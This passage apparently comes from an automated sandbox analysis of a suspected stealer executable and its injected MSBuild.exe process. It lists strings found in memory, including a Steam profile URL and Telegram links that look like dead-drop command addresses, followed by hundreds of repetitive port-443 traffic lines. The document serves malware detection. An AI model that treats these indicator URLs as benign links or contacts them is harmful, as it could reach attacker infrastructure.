Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
